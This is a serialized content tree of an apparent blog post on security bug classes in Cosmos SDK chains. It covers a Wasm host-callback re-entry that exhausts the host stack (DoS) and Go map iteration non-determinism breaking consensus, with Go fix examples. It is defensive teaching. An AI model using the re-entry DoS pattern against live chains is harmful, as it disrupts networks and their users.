Querier",{"type":24,"tag":930,"props":79892,"children":79893},{"style":959},[79894],{"type":30,"value":9700},{"type":24,"tag":930,"props":79896,"children":79897},{"class":932,"line":984},[79898,79902,79906,79910,79915,79919,79923,79927,79931,79935,79939],{"type":24,"tag":930,"props":79899,"children":79900},{"style":1023},[79901],{"type":30,"value":6956},{"type":24,"tag":930,"props":79903,"children":79904},{"style":1158},[79905],{"type":30,"value":476},{"type":24,"tag":930,"props":79907,"children":79908},{"style":1158},[79909],{"type":30,"value":10253},{"type":24,"tag":930,"props":79911,"children":79912},{"style":943},[79913],{"type":30,"value":79914},"Environment",{"type":24,"tag":930,"props":79916,"children":79917},{"style":959},[79918],{"type":30,"value":1350},{"type":24,"tag":930,"props":79920,"children":79921},{"style":943},[79922],{"type":30,"value":79846},{"type":24,"tag":930,"props":79924,"children":79925},{"style":959},[79926],{"type":30,"value":962},{"type":24,"tag":930,"props":79928,"children":79929},{"style":943},[79930],{"type":30,"value":25151},{"type":24,"tag":930,"props":79932,"children":79933},{"style":959},[79934],{"type":30,"value":962},{"type":24,"tag":930,"props":79936,"children":79937},{"style":943},[79938],{"type":30,"value":79881},{"type":24,"tag":930,"props":79940,"children":79941},{"style":959},[79942],{"type":30,"value":9251},{"type":24,"tag":930,"props":79944,"children":79945},{"class":932,"line":993},[79946,79951,79955,79959,79963,79967],{"type":24,"tag":930,"props":79947,"children":79948},{"style":1023},[79949],{"type":30,"value":79950},"    input",{"type":24,"tag":930,"props":79952,"children":79953},{"style":1158},[79954],{"type":30,"value":476},{"type":24,"tag":930,"props":79956,"children":79957},{"style":1158},[79958],{"type":30,"value":10253},{"type":24,"tag":930,"props":79960,"children":79961},{"style":959},[79962],{"type":30,"value":6849},{"type":24,"tag":930,"props":79964,"children":79965},{"style":943},[79966],{"type":30,"value":6538},{"type":24,"tag":930,"props":79968,"children":79969},{"style":959},[79970],{"type":30,"value":17369},{"type":24,"tag":930,"props":79972,"children":79973},{"class":932,"line":1057},[79974,79978,79982,79987,79991,79996],{"type":24,"tag":930,"props":79975,"children":79976},{"style":959},[79977],{"type":30,"value":5579},{"type":24,"tag":930,"props":79979,"children":79980},{"style":1158},[79981],{"type":30,"value":16864},{"type":24,"tag":930,"props":79983,"children":79984},{"style":943},[79985],{"type":30,"value":79986}," VmResult",{"type":24,"tag":930,"props":79988,"children":79989},{"style":959},[79990],{"type":30,"value":1350},{"type":24,"tag":930,"props":79992,"children":79993},{"style":943},[79994],{"type":30,"value":79995},"u32",{"type":24,"tag":930,"props":79997,"children":79998},{"style":959},[79999],{"type":30,"value":10392},{"type":24,"tag":930,"props":80001,"children":80002},{"class":932,"line":1066},[80003,80007,80012,80016,80021,80025,80029,80033,80037,80041,80045],{"type":24,"tag":930,"props":80004,"children":80005},{"style":937},[80006],{"type":30,"value":6122},{"type":24,"tag":930,"props":80008,"children":80009},{"style":1023},[80010],{"type":30,"value":80011}," out_size",{"type":24,"tag":930,"props":80013,"children":80014},{"style":1158},[80015],{"type":30,"value":6137},{"type":24,"tag":930,"props":80017,"children":80018},{"style":1002},[80019],{"type":30,"value":80020}," to_u32",{"type":24,"tag":930,"props":80022,"children":80023},{"style":959},[80024],{"type":30,"value":1010},{"type":24,"tag":930,"props":80026,"children":80027},{"style":1023},[80028],{"type":30,"value":11476},{"type":24,"tag":930,"props":80030,"children":80031},{"style":1158},[80032],{"type":30,"value":436},{"type":24,"tag":930,"props":80034,"children":80035},{"style":1002},[80036],{"type":30,"value":12247},{"type":24,"tag":930,"props":80038,"children":80039},{"style":959},[80040],{"type":30,"value":45052},{"type":24,"tag":930,"props":80042,"children":80043},{"style":1158},[80044],{"type":30,"value":5347},{"type":24,"tag":930,"props":80046,"children":80047},{"style":959},[80048],{"type":30,"value":5539},{"type":24,"tag":930,"props":80050,"children":80051},{"class":932,"line":1075},[80052,80056,80060,80064,80068,80072,80077,80081,80085,80089,80093,80097,80102,80106,80110,80115,80119],{"type":24,"tag":930,"props":80053,"children":80054},{"style":937},[80055],{"type":30,"value":6122},{"type":24,"tag":930,"props":80057,"children":80058},{"style":1023},[80059],{"type":30,"value":12268},{"type":24,"tag":930,"props":80061,"children":80062},{"style":1158},[80063],{"type":30,"value":6137},{"type":24,"tag":930,"props":80065,"children":80066},{"style":1023},[80067],{"type":30,"value":46046},{"type":24,"tag":930,"props":80069,"children":80070},{"style":1158},[80071],{"type":30,"value":436},{"type":24,"tag":930,"props":80073,"children":80074},{"style":1002},[80075],{"type":30,"value":80076},"call_function1",{"type":24,"tag":930,"props":80078,"children":80079},{"style":959},[80080],{"type":30,"value":1010},{"type":24,"tag":930,"props":80082,"children":80083},{"style":1270},[80084],{"type":30,"value":79807},{"type":24,"tag":930,"props":80086,"children":80087},{"style":959},[80088],{"type":30,"value":962},{"type":24,"tag":930,"props":80090,"children":80091},{"style":1158},[80092],{"type":30,"value":6230},{"type":24,"tag":930,"props":80094,"children":80095},{"style":959},[80096],{"type":30,"value":6849},{"type":24,"tag":930,"props":80098,"children":80099},{"style":1023},[80100],{"type":30,"value":80101},"out_size",{"type":24,"tag":930,"props":80103,"children":80104},{"style":1158},[80105],{"type":30,"value":436},{"type":24,"tag":930,"props":80107,"children":80108},{"style":1002},[80109],{"type":30,"value":17989},{"type":24,"tag":930,"props":80111,"children":80112},{"style":959},[80113],{"type":30,"value":80114},"()])",{"type":24,"tag":930,"props":80116,"children":80117},{"style":1158},[80118],{"type":30,"value":5347},{"type":24,"tag":930,"props":80120,"children":80121},{"style":959},[80122],{"type":30,"value":5539},{"type":24,"tag":930,"props":80124,"children":80125},{"class":932,"line":1122},[80126,80130,80135,80139,80144,80148,80152,80156,80160,80164],{"type":24,"tag":930,"props":80127,"children":80128},{"style":937},[80129],{"type":30,"value":6122},{"type":24,"tag":930,"props":80131,"children":80132},{"style":1023},[80133],{"type":30,"value":80134}," target_ptr",{"type":24,"tag":930,"props":80136,"children":80137},{"style":1158},[80138],{"type":30,"value":6137},{"type":24,"tag":930,"props":80140,"children":80141},{"style":1002},[80142],{"type":30,"value":80143}," ref_to_u32",{"type":24,"tag":930,"props":80145,"children":80146},{"style":959},[80147],{"type":30,"value":1010},{"type":24,"tag":930,"props":80149,"children":80150},{"style":1158},[80151],{"type":30,"value":6230},{"type":24,"tag":930,"props":80153,"children":80154},{"style":1023},[80155],{"type":30,"value":12191},{"type":24,"tag":930,"props":80157,"children":80158},{"style":959},[80159],{"type":30,"value":6249},{"type":24,"tag":930,"props":80161,"children":80162},{"style":1158},[80163],{"type":30,"value":5347},{"type":24,"tag":930,"props":80165,"children":80166},{"style":959},[80167],{"type":30,"value":5539},{"type":24,"tag":930,"props":80169,"children":80170},{"class":932,"line":1131},[80171,80175,80179,80183,80187],{"type":24,"tag":930,"props":80172,"children":80173},{"style":1079},[80174],{"type":30,"value":15386},{"type":24,"tag":930,"props":80176,"children":80177},{"style":1023},[80178],{"type":30,"value":80134},{"type":24,"tag":930,"props":80180,"children":80181},{"style":1158},[80182],{"type":30,"value":6402},{"type":24,"tag":930,"props":80184,"children":80185},{"style":1242},[80186],{"type":30,"value":1245},{"type":24,"tag":930,"props":80188,"children":80189},{"style":959},[80190],{"type":30,"value":981},{"type":24,"tag":930,"props":80192,"children":80193},{"class":932,"line":1144},[80194,80198,80202,80206,80211,80215,80220,80224,80228,80232],{"type":24,"tag":930,"props":80195,"children":80196},{"style":1079},[80197],{"type":30,"value":18847},{"type":24,"tag":930,"props":80199,"children":80200},{"style":943},[80201],{"type":30,"value":18852},{"type":24,"tag":930,"props":80203,"children":80204},{"style":959},[80205],{"type":30,"value":1010},{"type":24,"tag":930,"props":80207,"children":80208},{"style":943},[80209],{"type":30,"value":80210},"CommunicationError",{"type":24,"tag":930,"props":80212,"children":80213},{"style":1158},[80214],{"type":30,"value":6597},{"type":24,"tag":930,"props":80216,"children":80217},{"style":1002},[80218],{"type":30,"value":80219},"zero_address",{"type":24,"tag":930,"props":80221,"children":80222},{"style":959},[80223],{"type":30,"value":16986},{"type":24,"tag":930,"props":80225,"children":80226},{"style":1158},[80227],{"type":30,"value":436},{"type":24,"tag":930,"props":80229,"children":80230},{"style":1002},[80231],{"type":30,"value":17989},{"type":24,"tag":930,"props":80233,"children":80234},{"style":959},[80235],{"type":30,"value":18528},{"type":24,"tag":930,"props":80237,"children":80238},{"class":932,"line":1169},[80239],{"type":24,"tag":930,"props":80240,"children":80241},{"style":959},[80242],{"type":30,"value":1840},{"type":24,"tag":930,"props":80244,"children":80245},{"class":932,"line":1191},[80246,80251,80255,80259,80263,80267,80271,80275,80280,80284,80288,80292,80296],{"type":24,"tag":930,"props":80247,"children":80248},{"style":1002},[80249],{"type":30,"value":80250},"    write_region",{"type":24,"tag":930,"props":80252,"children":80253},{"style":959},[80254],{"type":30,"value":1010},{"type":24,"tag":930,"props":80256,"children":80257},{"style":1158},[80258],{"type":30,"value":6230},{"type":24,"tag":930,"props":80260,"children":80261},{"style":1023},[80262],{"type":30,"value":38778},{"type":24,"tag":930,"props":80264,"children":80265},{"style":1158},[80266],{"type":30,"value":436},{"type":24,"tag":930,"props":80268,"children":80269},{"style":1002},[80270],{"type":30,"value":5154},{"type":24,"tag":930,"props":80272,"children":80273},{"style":959},[80274],{"type":30,"value":1364},{"type":24,"tag":930,"props":80276,"children":80277},{"style":1023},[80278],{"type":30,"value":80279},"target_ptr",{"type":24,"tag":930,"props":80281,"children":80282},{"style":959},[80283],{"type":30,"value":962},{"type":24,"tag":930,"props":80285,"children":80286},{"style":1023},[80287],{"type":30,"value":11476},{"type":24,"tag":930,"props":80289,"children":80290},{"style":959},[80291],{"type":30,"value":6249},{"type":24,"tag":930,"props":80293,"children":80294},{"style":1158},[80295],{"type":30,"value":5347},{"type":24,"tag":930,"props":80297,"children":80298},{"style":959},[80299],{"type":30,"value":5539},{"type":24,"tag":930,"props":80301,"children":80302},{"class":932,"line":1223},[80303,80307,80311,80315],{"type":24,"tag":930,"props":80304,"children":80305},{"style":943},[80306],{"type":30,"value":17439},{"type":24,"tag":930,"props":80308,"children":80309},{"style":959},[80310],{"type":30,"value":1010},{"type":24,"tag":930,"props":80312,"children":80313},{"style":1023},[80314],{"type":30,"value":80279},{"type":24,"tag":930,"props":80316,"children":80317},{"style":959},[80318],{"type":30,"value":1054},{"type":24,"tag":930,"props":80320,"children":80321},{"class":932,"line":1281},[80322],{"type":24,"tag":930,"props":80323,"children":80324},{"style":959},[80325],{"type":30,"value":2528},{"type":24,"tag":33,"props":80327,"children":80328},{},[80329,80331,80337,80339,80344],{"type":30,"value":80330},"As users have complete control over ",{"type":24,"tag":156,"props":80332,"children":80334},{"className":80333},[],[80335],{"type":30,"value":80336},"allocate",{"type":30,"value":80338},", there is a possibility to call back ",{"type":24,"tag":156,"props":80340,"children":80342},{"className":80341},[],[80343],{"type":30,"value":79799},{"type":30,"value":80345}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":33,"props":80347,"children":80348},{},[80349,80351,80358],{"type":30,"value":80350},"Additional real-world examples include ",{"type":24,"tag":37,"props":80352,"children":80355},{"href":80353,"rel":80354},"https://github.com/cosmos/cosmos-sdk/issues/16676",[41],[80356],{"type":30,"value":80357},"not returning proper values for malformed txs",{"type":30,"value":436},{"type":24,"tag":68,"props":80360,"children":80362},{"id":80361},"order-was-the-dream-of-man",[80363],{"type":30,"value":80364},"Order Was the Dream of Man",{"type":24,"tag":33,"props":80366,"children":80367},{},[80368],{"type":30,"value":80369},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":33,"props":80371,"children":80372},{},[80373],{"type":30,"value":80374},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":920,"props":80376,"children":80378},{"code":80377,"language":79244,"meta":7,"className":79245,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[80379],{"type":24,"tag":156,"props":80380,"children":80381},{"__ignoreMap":7},[80382,80415,80422,80451,80488,80517,80538,80550,80587,80595,80602,80609],{"type":24,"tag":930,"props":80383,"children":80384},{"class":932,"line":933},[80385,80389,80394,80398,80402,80406,80410],{"type":24,"tag":930,"props":80386,"children":80387},{"style":937},[80388],{"type":30,"value":35844},{"type":24,"tag":930,"props":80390,"children":80391},{"style":943},[80392],{"type":30,"value":80393}," ObjectMap",{"type":24,"tag":930,"props":80395,"children":80396},{"style":937},[80397],{"type":30,"value":52758},{"type":24,"tag":930,"props":80399,"children":80400},{"style":959},[80401],{"type":30,"value":6849},{"type":24,"tag":930,"props":80403,"children":80404},{"style":943},[80405],{"type":30,"value":32757},{"type":24,"tag":930,"props":80407,"children":80408},{"style":959},[80409],{"type":30,"value":18514},{"type":24,"tag":930,"props":80411,"children":80412},{"style":943},[80413],{"type":30,"value":80414},"string\n",{"type":24,"tag":930,"props":80416,"children":80417},{"class":932,"line":984},[80418],{"type":24,"tag":930,"props":80419,"children":80420},{"emptyLinePlaceholder":16},[80421],{"type":30,"value":2412},{"type":24,"tag":930,"props":80423,"children":80424},{"class":932,"line":993},[80425,80429,80434,80438,80443,80447],{"type":24,"tag":930,"props":80426,"children":80427},{"style":937},[80428],{"type":30,"value":79380},{"type":24,"tag":930,"props":80430,"children":80431},{"style":1002},[80432],{"type":30,"value":80433}," EmitEntries",{"type":24,"tag":930,"props":80435,"children":80436},{"style":959},[80437],{"type":30,"value":1010},{"type":24,"tag":930,"props":80439,"children":80440},{"style":1023},[80441],{"type":30,"value":80442},"objectMap",{"type":24,"tag":930,"props":80444,"children":80445},{"style":943},[80446],{"type":30,"value":80393},{"type":24,"tag":930,"props":80448,"children":80449},{"style":959},[80450],{"type":30,"value":1503},{"type":24,"tag":930,"props":80452,"children":80453},{"class":932,"line":1057},[80454,80458,80462,80466,80470,80474,80479,80484],{"type":24,"tag":930,"props":80455,"children":80456},{"style":1079},[80457],{"type":30,"value":6154},{"type":24,"tag":930,"props":80459,"children":80460},{"style":1023},[80461],{"type":30,"value":9044},{"type":24,"tag":930,"props":80463,"children":80464},{"style":959},[80465],{"type":30,"value":962},{"type":24,"tag":930,"props":80467,"children":80468},{"style":1023},[80469],{"type":30,"value":42239},{"type":24,"tag":930,"props":80471,"children":80472},{"style":1158},[80473],{"type":30,"value":79495},{"type":24,"tag":930,"props":80475,"children":80476},{"style":1079},[80477],{"type":30,"value":80478}," range",{"type":24,"tag":930,"props":80480,"children":80481},{"style":1023},[80482],{"type":30,"value":80483}," objectMap",{"type":24,"tag":930,"props":80485,"children":80486},{"style":959},[80487],{"type":30,"value":981},{"type":24,"tag":930,"props":80489,"children":80490},{"class":932,"line":1066},[80491,80495,80499,80504,80508,80513],{"type":24,"tag":930,"props":80492,"children":80493},{"style":1023},[80494],{"type":30,"value":29278},{"type":24,"tag":930,"props":80496,"children":80497},{"style":959},[80498],{"type":30,"value":436},{"type":24,"tag":930,"props":80500,"children":80501},{"style":1023},[80502],{"type":30,"value":80503},"EventManager",{"type":24,"tag":930,"props":80505,"children":80506},{"style":959},[80507],{"type":30,"value":436},{"type":24,"tag":930,"props":80509,"children":80510},{"style":1002},[80511],{"type":30,"value":80512},"EmitEvent",{"type":24,"tag":930,"props":80514,"children":80515},{"style":959},[80516],{"type":30,"value":2814},{"type":24,"tag":930,"props":80518,"children":80519},{"class":932,"line":1075},[80520,80525,80529,80534],{"type":24,"tag":930,"props":80521,"children":80522},{"style":1023},[80523],{"type":30,"value":80524},"            sdk",{"type":24,"tag":930,"props":80526,"children":80527},{"style":959},[80528],{"type":30,"value":436},{"type":24,"tag":930,"props":80530,"children":80531},{"style":1002},[80532],{"type":30,"value":80533},"NewEvent",{"type":24,"tag":930,"props":80535,"children":80536},{"style":959},[80537],{"type":30,"value":2814},{"type":24,"tag":930,"props":80539,"children":80540},{"class":932,"line":1122},[80541,80546],{"type":24,"tag":930,"props":80542,"children":80543},{"style":1270},[80544],{"type":30,"value":80545},"                \"MapContext\"",{"type":24,"tag":930,"props":80547,"children":80548},{"style":959},[80549],{"type":30,"value":2832},{"type":24,"tag":930,"props":80551,"children":80552},{"class":932,"line":1131},[80553,80558,80562,80567,80571,80575,80579,80583],{"type":24,"tag":930,"props":80554,"children":80555},{"style":1023},[80556],{"type":30,"value":80557},"                sdk",{"type":24,"tag":930,"props":80559,"children":80560},{"style":959},[80561],{"type":30,"value":436},{"type":24,"tag":930,"props":80563,"children":80564},{"style":1002},[80565],{"type":30,"value":80566},"NewAttribute",{"type":24,"tag":930,"props":80568,"children":80569},{"style":959},[80570],{"type":30,"value":1010},{"type":24,"tag":930,"props":80572,"children":80573},{"style":1023},[80574],{"type":30,"value":75237},{"type":24,"tag":930,"props":80576,"children":80577},{"style":959},[80578],{"type":30,"value":962},{"type":24,"tag":930,"props":80580,"children":80581},{"style":1023},[80582],{"type":30,"value":42239},{"type":24,"tag":930,"props":80584,"children":80585},{"style":959},[80586],{"type":30,"value":9848},{"type":24,"tag":930,"props":80588,"children":80589},{"class":932,"line":1144},[80590],{"type":24,"tag":930,"props":80591,"children":80592},{"style":959},[80593],{"type":30,"value":80594},"            )\n",{"type":24,"tag":930,"props":80596,"children":80597},{"class":932,"line":1169},[80598],{"type":24,"tag":930,"props":80599,"children":80600},{"style":959},[80601],{"type":30,"value":71406},{"type":24,"tag":930,"props":80603,"children":80604},{"class":932,"line":1191},[80605],{"type":24,"tag":930,"props":80606,"children":80607},{"style":959},[80608],{"type":30,"value":1840},{"type":24,"tag":930,"props":80610,"children":80611},{"class":932,"line":1223},[80612],{"type":24,"tag":930,"props":80613,"children":80614},{"style":959},[80615],{"type":30,"value":2528},{"type":24,"tag":33,"props":80617,"children":80618},{},[80619],{"type":30,"value":80620},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":6054,"props":80622,"children":80623},{},[80624],{"type":24,"tag":33,"props":80625,"children":80626},{},[80627],{"type":30,"value":80628},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":33,"props":80630,"children":80631},{},[80632,80634,80639],{"type":30,"value":80633},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":156,"props":80635,"children":80637},{"className":80636},[],[80638],{"type":30,"value":70187},{"type":30,"value":80640}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":920,"props":80642,"children":80644},{"code":80643,"language":79244,"meta":7,"className":79245,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[80645],{"type":24,"tag":156,"props":80646,"children":80647},{"__ignoreMap":7},[80648,80679,80686,80713,80733,80760,80796,80803,80832,80839,80874,80901,80920,80931,80975,80982,80989,80996],{"type":24,"tag":930,"props":80649,"children":80650},{"class":932,"line":933},[80651,80655,80659,80663,80667,80671,80675],{"type":24,"tag":930,"props":80652,"children":80653},{"style":937},[80654],{"type":30,"value":35844},{"type":24,"tag":930,"props":80656,"children":80657},{"style":943},[80658],{"type":30,"value":80393},{"type":24,"tag":930,"props":80660,"children":80661},{"style":937},[80662],{"type":30,"value":52758},{"type":24,"tag":930,"props":80664,"children":80665},{"style":959},[80666],{"type":30,"value":6849},{"type":24,"tag":930,"props":80668,"children":80669},{"style":943},[80670],{"type":30,"value":32757},{"type":24,"tag":930,"props":80672,"children":80673},{"style":959},[80674],{"type":30,"value":18514},{"type":24,"tag":930,"props":80676,"children":80677},{"style":943},[80678],{"type":30,"value":80414},{"type":24,"tag":930,"props":80680,"children":80681},{"class":932,"line":984},[80682],{"type":24,"tag":930,"props":80683,"children":80684},{"emptyLinePlaceholder":16},[80685],{"type":30,"value":2412},{"type":24,"tag":930,"props":80687,"children":80688},{"class":932,"line":993},[80689,80693,80697,80701,80705,80709],{"type":24,"tag":930,"props":80690,"children":80691},{"style":937},[80692],{"type":30,"value":79380},{"type":24,"tag":930,"props":80694,"children":80695},{"style":1002},[80696],{"type":30,"value":80433},{"type":24,"tag":930,"props":80698,"children":80699},{"style":959},[80700],{"type":30,"value":1010},{"type":24,"tag":930,"props":80702,"children":80703},{"style":1023},[80704],{"type":30,"value":80442},{"type":24,"tag":930,"props":80706,"children":80707},{"style":943},[80708],{"type":30,"value":80393},{"type":24,"tag":930,"props":80710,"children":80711},{"style":959},[80712],{"type":30,"value":1503},{"type":24,"tag":930,"props":80714,"children":80715},{"class":932,"line":1057},[80716,80721,80725,80729],{"type":24,"tag":930,"props":80717,"children":80718},{"style":937},[80719],{"type":30,"value":80720},"    var",{"type":24,"tag":930,"props":80722,"children":80723},{"style":1023},[80724],{"type":30,"value":24482},{"type":24,"tag":930,"props":80726,"children":80727},{"style":959},[80728],{"type":30,"value":79307},{"type":24,"tag":930,"props":80730,"children":80731},{"style":943},[80732],{"type":30,"value":80414},{"type":24,"tag":930,"props":80734,"children":80735},{"class":932,"line":1066},[80736,80740,80744,80748,80752,80756],{"type":24,"tag":930,"props":80737,"children":80738},{"style":1079},[80739],{"type":30,"value":6154},{"type":24,"tag":930,"props":80741,"children":80742},{"style":1023},[80743],{"type":30,"value":9044},{"type":24,"tag":930,"props":80745,"children":80746},{"style":1158},[80747],{"type":30,"value":79495},{"type":24,"tag":930,"props":80749,"children":80750},{"style":1079},[80751],{"type":30,"value":80478},{"type":24,"tag":930,"props":80753,"children":80754},{"style":1023},[80755],{"type":30,"value":80483},{"type":24,"tag":930,"props":80757,"children":80758},{"style":959},[80759],{"type":30,"value":981},{"type":24,"tag":930,"props":80761,"children":80762},{"class":932,"line":1075},[80763,80767,80771,80776,80780,80784,80788,80792],{"type":24,"tag":930,"props":80764,"children":80765},{"style":1023},[80766],{"type":30,"value":28423},{"type":24,"tag":930,"props":80768,"children":80769},{"style":1158},[80770],{"type":30,"value":6137},{"type":24,"tag":930,"props":80772,"children":80773},{"style":1002},[80774],{"type":30,"value":80775}," append",{"type":24,"tag":930,"props":80777,"children":80778},{"style":959},[80779],{"type":30,"value":1010},{"type":24,"tag":930,"props":80781,"children":80782},{"style":1023},[80783],{"type":30,"value":24085},{"type":24,"tag":930,"props":80785,"children":80786},{"style":959},[80787],{"type":30,"value":962},{"type":24,"tag":930,"props":80789,"children":80790},{"style":1023},[80791],{"type":30,"value":75237},{"type":24,"tag":930,"props":80793,"children":80794},{"style":959},[80795],{"type":30,"value":1054},{"type":24,"tag":930,"props":80797,"children":80798},{"class":932,"line":1122},[80799],{"type":24,"tag":930,"props":80800,"children":80801},{"style":959},[80802],{"type":30,"value":1840},{"type":24,"tag":930,"props":80804,"children":80805},{"class":932,"line":1131},[80806,80811,80815,80820,80824,80828],{"type":24,"tag":930,"props":80807,"children":80808},{"style":1023},[80809],{"type":30,"value":80810},"    sort",{"type":24,"tag":930,"props":80812,"children":80813},{"style":959},[80814],{"type":30,"value":436},{"type":24,"tag":930,"props":80816,"children":80817},{"style":1002},[80818],{"type":30,"value":80819},"Strings",{"type":24,"tag":930,"props":80821,"children":80822},{"style":959},[80823],{"type":30,"value":1010},{"type":24,"tag":930,"props":80825,"children":80826},{"style":1023},[80827],{"type":30,"value":24085},{"type":24,"tag":930,"props":80829,"children":80830},{"style":959},[80831],{"type":30,"value":1054},{"type":24,"tag":930,"props":80833,"children":80834},{"class":932,"line":1144},[80835],{"type":24,"tag":930,"props":80836,"children":80837},{"emptyLinePlaceholder":16},[80838],{"type":30,"value":2412},{"type":24,"tag":930,"props":80840,"children":80841},{"class":932,"line":1169},[80842,80846,80850,80854,80858,80862,80866,80870],{"type":24,"tag":930,"props":80843,"children":80844},{"style":1079},[80845],{"type":30,"value":6154},{"type":24,"tag":930,"props":80847,"children":80848},{"style":1023},[80849],{"type":30,"value":6159},{"type":24,"tag":930,"props":80851,"children":80852},{"style":959},[80853],{"type":30,"value":962},{"type":24,"tag":930,"props":80855,"children":80856},{"style":1023},[80857],{"type":30,"value":75237},{"type":24,"tag":930,"props":80859,"children":80860},{"style":1158},[80861],{"type":30,"value":79495},{"type":24,"tag":930,"props":80863,"children":80864},{"style":1079},[80865],{"type":30,"value":80478},{"type":24,"tag":930,"props":80867,"children":80868},{"style":1023},[80869],{"type":30,"value":24482},{"type":24,"tag":930,"props":80871,"children":80872},{"style":959},[80873],{"type":30,"value":981},{"type":24,"tag":930,"props":80875,"children":80876},{"class":932,"line":1191},[80877,80881,80885,80889,80893,80897],{"type":24,"tag":930,"props":80878,"children":80879},{"style":1023},[80880],{"type":30,"value":29278},{"type":24,"tag":930,"props":80882,"children":80883},{"style":959},[80884],{"type":30,"value":436},{"type":24,"tag":930,"props":80886,"children":80887},{"style":1023},[80888],{"type":30,"value":80503},{"type":24,"tag":930,"props":80890,"children":80891},{"style":959},[80892],{"type":30,"value":436},{"type":24,"tag":930,"props":80894,"children":80895},{"style":1002},[80896],{"type":30,"value":80512},{"type":24,"tag":930,"props":80898,"children":80899},{"style":959},[80900],{"type":30,"value":2814},{"type":24,"tag":930,"props":80902,"children":80903},{"class":932,"line":1223},[80904,80908,80912,80916],{"type":24,"tag":930,"props":80905,"children":80906},{"style":1023},[80907],{"type":30,"value":80524},{"type":24,"tag":930,"props":80909,"children":80910},{"style":959},[80911],{"type":30,"value":436},{"type":24,"tag":930,"props":80913,"children":80914},{"style":1002},[80915],{"type":30,"value":80533},{"type":24,"tag":930,"props":80917,"children":80918},{"style":959},[80919],{"type":30,"value":2814},{"type":24,"tag":930,"props":80921,"children":80922},{"class":932,"line":1281},[80923,80927],{"type":24,"tag":930,"props":80924,"children":80925},{"style":1270},[80926],{"type":30,"value":80545},{"type":24,"tag":930,"props":80928,"children":80929},{"style":959},[80930],{"type":30,"value":2832},{"type":24,"tag":930,"props":80932,"children":80933},{"class":932,"line":1313},[80934,80938,80942,80946,80950,80954,80958,80962,80966,80970],{"type":24,"tag":930,"props":80935,"children":80936},{"style":1023},[80937],{"type":30,"value":80557},{"type":24,"tag":930,"props":80939,"children":80940},{"style":959},[80941],{"type":30,"value":436},{"type":24,"tag":930,"props":80943,"children":80944},{"style":1002},[80945],{"type":30,"value":80566},{"type":24,"tag":930,"props":80947,"children":80948},{"style":959},[80949],{"type":30,"value":1010},{"type":24,"tag":930,"props":80951,"children":80952},{"style":1023},[80953],{"type":30,"value":75237},{"type":24,"tag":930,"props":80955,"children":80956},{"style":959},[80957],{"type":30,"value":962},{"type":24,"tag":930,"props":80959,"children":80960},{"style":1023},[80961],{"type":30,"value":80442},{"type":24,"tag":930,"props":80963,"children":80964},{"style":959},[80965],{"type":30,"value":6849},{"type":24,"tag":930,"props":80967,"children":80968},{"style":1023},[80969],{"type":30,"value":75237},{"type":24,"tag":930,"props":80971,"children":80972},{"style":959},[80973],{"type":30,"value":80974},"]),\n",{"type":24,"tag":930,"props":80976,"children":80977},{"class":932,"line":1335},[80978],{"type":24,"tag":930,"props":80979,"children":80980},{"style":959},[80981],{"type":30,"value":80594},{"type":24,"tag":930,"props":80983,"children":80984},{"class":932,"line":1376},[80985],{"type":24,"tag":930,"props":80986,"children":80987},{"style":959},[80988],{"type":30,"value":71406},{"type":24,"tag":930,"props":80990,"children":80991},{"class":932,"line":1418},[80992],{"type":24,"tag":930,"props":80993,"children":80994},{"style":959},[80995],{"type":30,"value":1840},{"type":24,"tag":930,"props":80997,"children":80998},{"class":932,"line":1438},[80999],{"type":24,"tag":930,"props":81000,"children":81001},{"style":959},[81002],{"type":30,"value":2528},{"type":24,"tag":33,"props":81004,"children":81005},{},[81006],{"type":30,"value":81007},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":151,"props":81009,"children":81011},{"id":81010},"real-world-examples-1",[81012],{"type":30,"value":79768},{"type":24,"tag":33,"props":81014,"children":81015},{},[81016,81018,81023,81025,81031,81033,81039,81041,81047],{"type":30,"value":81017},"Real-world examples of ",{"type":24,"tag":156,"props":81019,"children":81021},{"className":81020},[],[81022],{"type":30,"value":70187},{"type":30,"value":81024}," causing determinism problems can be found ",{"type":24,"tag":37,"props":81026,"children":81029},{"href":81027,"rel":81028},"https://github.com/cosmos/cosmos-sdk/pull/12487",[41],[81030],{"type":30,"value":50674},{"type":30,"value":81032},", specifically, where the result of ",{"type":24,"tag":156,"props":81034,"children":81036},{"className":81035},[],[81037],{"type":30,"value":81038},"buildCommitInfo",{"type":30,"value":81040}," is inconsistent due to iteration over the ",{"type":24,"tag":156,"props":81042,"children":81044},{"className":81043},[],[81045],{"type":30,"value":81046},"rs.stores",{"type":30,"value":81048}," map.",{"type":24,"tag":33,"props":81050,"children":81051},{},[81052],{"type":24,"tag":37,"props":81053,"children":81056},{"href":81054,"rel":81055},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[41],[81057],{"type":30,"value":79818},{"type":24,"tag":920,"props":81059,"children":81061},{"code":81060,"language":79244,"meta":7,"className":79245,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n      